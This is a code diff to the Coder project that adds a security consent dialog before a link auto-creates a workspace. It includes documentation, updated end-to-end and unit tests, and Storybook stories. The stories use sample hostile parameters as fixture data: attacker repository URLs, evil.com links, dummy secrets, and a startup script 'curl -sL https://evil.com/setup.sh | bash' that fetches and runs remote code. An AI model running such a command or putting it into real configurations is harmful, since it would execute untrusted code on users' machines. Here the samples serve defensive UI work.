diff --git a/docs/admin/templates/open-in-coder.md b/docs/admin/templates/open-in-coder.md index a15838c739..0365075af7 100644 --- a/docs/admin/templates/open-in-coder.md +++ b/docs/admin/templates/open-in-coder.md @@ -115,6 +115,25 @@ specified in your template in the `disable_params` search params list [![Open in Coder](https://YOUR_ACCESS_URL/open-in-coder.svg)](https://YOUR_ACCESS_URL/templates/YOUR_TEMPLATE/workspace?disable_params=first_parameter,second_parameter) ``` +### Security: consent dialog for automatic creation + +When using `mode=auto` with prefilled `param.*` values, Coder displays a +security consent dialog before creating the workspace. This protects users +from malicious links that could provision workspaces with untrusted +configurations, such as dotfiles or startup scripts from unknown sources. + +The dialog shows: + +- A warning that a workspace is about to be created automatically from a link +- All prefilled `param.*` values from the URL +- **Confirm and Create** and **Cancel** buttons + +The workspace is only created if the user explicitly clicks **Confirm and +Create**. Clicking **Cancel** falls back to the standard creation form where +all parameters can be reviewed manually. + +![Consent dialog for automatic workspace creation](../../images/templates/auto-create-consent-dialog.png) + ### Example: Kubernetes For a full example of the Open in Coder flow in Kubernetes, check out diff --git a/docs/images/templates/auto-create-consent-dialog.png b/docs/images/templates/auto-create-consent-dialog.png new file mode 100644 index 0000000000..a7b4ac070d Binary files /dev/null and b/docs/images/templates/auto-create-consent-dialog.png differ diff --git a/site/e2e/tests/workspaces/autoCreateWorkspace.spec.ts b/site/e2e/tests/workspaces/autoCreateWorkspace.spec.ts index b30e2386b2..1fa02d5720 100644 --- a/site/e2e/tests/workspaces/autoCreateWorkspace.spec.ts +++ b/site/e2e/tests/workspaces/autoCreateWorkspace.spec.ts @@ -40,6 +40,7 @@ test("create workspace in auto mode", async ({ page }) => { waitUntil: "domcontentloaded", }, ); + await page.getByRole("button", { name: /confirm and create/i }).click(); await expect(page).toHaveTitle(`${users.member.username}/${name} - Coder`); }); @@ -53,6 +54,7 @@ test("use an existing workspace that matches the `match` parameter instead of cr waitUntil: "domcontentloaded", }, ); + await page.getByRole("button", { name: /confirm and create/i }).click(); await expect(page).toHaveTitle( `${users.member.username}/${prevWorkspace} - Coder`, ); @@ -66,5 +68,6 @@ test("show error if `match` parameter is invalid", async ({ page }) => { waitUntil: "domcontentloaded", }, ); + await page.getByRole("button", { name: /confirm and create/i }).click(); await expect(page.getByText("Invalid match value")).toBeVisible(); }); diff --git a/site/src/pages/CreateWorkspacePage/AutoCreateConsentDialog.stories.tsx b/site/src/pages/CreateWorkspacePage/AutoCreateConsentDialog.stories.tsx new file mode 100644 index 0000000000..842d25aee0 --- /dev/null +++ b/site/src/pages/CreateWorkspacePage/AutoCreateConsentDialog.stories.tsx @@ -0,0 +1,84 @@ +import type { Meta, StoryObj } from "@storybook/react-vite"; +import { fn } from "storybook/test"; +import { AutoCreateConsentDialog } from "./AutoCreateConsentDialog"; + +const meta: Meta = { + title: "pages/CreateWorkspacePage/AutoCreateConsentDialog", + component: AutoCreateConsentDialog, + args: { + open: true, + onConfirm: fn(), + onDeny: fn(), + }, +}; + +export default meta; +type Story = StoryObj; + +export const Default: Story = { + args: { + autofillParameters: [ + { + name: "dotfiles_uri", + value: "https://github.com/attacker/dots.git", + source: "url", + }, + { + name: "git_repo", + value: "https://github.com/attacker/malware-repo.git", + source: "url", + }, + ], + }, +}; + +export const WithManyParameters: Story = { + args: { + autofillParameters: [ + { + name: "dotfiles_uri", + value: "https://github.com/attacker/dots.git", + source: "url", + }, + { + name: "git_repo", + value: "https://github.com/attacker/malware-repo.git", + source: "url", + }, + { name: "region", value: "us-east-1", source: "url" }, + { name: "instance_type", value: "t3.2xlarge", source: "url" }, + { name: "docker_image", value: "ubuntu:24.04", source: "url" }, + { + name: "startup_script", + value: "curl -sL https://evil.com/setup.sh | bash", + source: "url", + }, + { name: "env_vars", value: "SECRET=hunter2,TOKEN=abc123", source: "url" }, + ], + }, +}; + +export const WithLongValues: Story = { + args: { + autofillParameters: [ + { + name: "dotfiles_uri", + value: + "https://evil.com/doasdasdjkhdasjkhasdjkhasdjkhasdjkhasdjkhdashjkasdt", + source: "url", + }, + { + name: "git_repo", + value: + "https://evil.com/repoasddsaczxjkasdjkalsdhjkasjhsadhjksdajhkdas", + source: "url", + }, + ], + }, +}; + +export const NoParameters: Story = { + args: { + autofillParameters: [], + }, +}; diff --git a/site/src/pages/CreateWorkspacePage/AutoCreateConsentDialog.tsx b/site/src/pages/CreateWorkspacePage/AutoCreateConsentDialog.tsx new file mode 100644 index 0000000000..b6b13a9dca --- /dev/null +++ b/site/src/pages/CreateWorkspacePage/AutoCreateConsentDialog.tsx @@ -0,0 +1,70 @@ +import { Button } from "components/Button/Button"; +import { + Dialog, + DialogContent, + DialogDescription, + DialogFooter, + DialogHeader, + DialogTitle, +} from "components/Dialog/Dialog"; +import { TriangleAlertIcon } from "lucide-react"; +import type { FC } from "react"; +import type { AutofillBuildParameter } from "utils/richParameters"; + +interface AutoCreateConsentDialogProps { + open: boolean; + autofillParameters: AutofillBuildParameter[]; + onConfirm: () => void; + onDeny: () => void; +} + +export const AutoCreateConsentDialog: FC = ({ + open, + autofillParameters, + onConfirm, + onDeny, +}) => { + return ( + + e.preventDefault()} + onEscapeKeyDown={(e) => e.preventDefault()} + className="max-w-2xl overflow-hidden min-w-0" + > + + + + Warning: Automatic Workspace Creation + + + A link is attempting to automatically create a workspace using the + following external configurations. Running scripts from untrusted + sources can be dangerous. + + + + {autofillParameters.length > 0 && ( +
+ + Parameters: + + + {autofillParameters + .map((p) => `${p.name}: ${p.value}`) + .join("\n")} + +
+ )} + + + + + +
+
+ ); +}; diff --git a/site/src/pages/CreateWorkspacePage/CreateWorkspacePage.jest.tsx b/site/src/pages/CreateWorkspacePage/CreateWorkspacePage.jest.tsx index 40f0ce805c..dfa85fdaed 100644 --- a/site/src/pages/CreateWorkspacePage/CreateWorkspacePage.jest.tsx +++ b/site/src/pages/CreateWorkspacePage/CreateWorkspacePage.jest.tsx @@ -475,6 +475,12 @@ describe("CreateWorkspacePage", () => { `/templates/${MockTemplate.name}/workspace?mode=auto`, ); + // Consent dialog appears for mode=auto — confirm to proceed. + const confirmButton = await screen.findByRole("button", { + name: /confirm and create/i, + }); + await userEvent.click(confirmButton); + await waitForLoaderToBeRemoved(); expect(screen.getByText(/instance type/i)).toBeInTheDocument(); diff --git a/site/src/pages/CreateWorkspacePage/CreateWorkspacePage.tsx b/site/src/pages/CreateWorkspacePage/CreateWorkspacePage.tsx index 38149416bb..b3fbb46b6c 100644 --- a/site/src/pages/CreateWorkspacePage/CreateWorkspacePage.tsx +++ b/site/src/pages/CreateWorkspacePage/CreateWorkspacePage.tsx @@ -31,6 +31,7 @@ import { useMutation, useQuery, useQueryClient } from "react-query"; import { useNavigate, useParams, useSearchParams } from "react-router"; import { pageTitle } from "utils/page"; import type { AutofillBuildParameter } from "utils/richParameters"; +import { AutoCreateConsentDialog } from "./AutoCreateConsentDialog"; import { CreateWorkspacePageView } from "./CreateWorkspacePageView"; import { type CreateWorkspacePermissions, @@ -59,6 +60,7 @@ const CreateWorkspacePage: FC = () => { const defaultName = searchParams.get("name"); const disabledParams = searchParams.get("disable_params")?.split(","); const [mode, setMode] = useState(() => getWorkspaceMode(searchParams)); + const [autoCreateConsented, setAutoCreateConsented] = useState(false); const [autoCreateError, setAutoCreateError] = useState(null); const defaultOwner = me; @@ -240,7 +242,11 @@ const CreateWorkspacePage: FC = () => { externalAuth?.every((auth) => auth.optional || auth.authenticated), ); - let autoCreateReady = mode === "auto" && hasAllRequiredExternalAuth; + let autoCreateReady = + mode === "auto" && hasAllRequiredExternalAuth && autoCreateConsented; + + const showAutoCreateConsent = + mode === "auto" && !autoCreateConsented && !autoCreateError; // `mode=auto` was set, but a prerequisite has failed, and so auto-mode should be abandoned. if ( @@ -291,6 +297,13 @@ const CreateWorkspacePage: FC = () => { <> {pageTitle(title)} + setAutoCreateConsented(true)} + onDeny={() => setMode("form")} + /> + {shouldShowLoader ? ( ) : (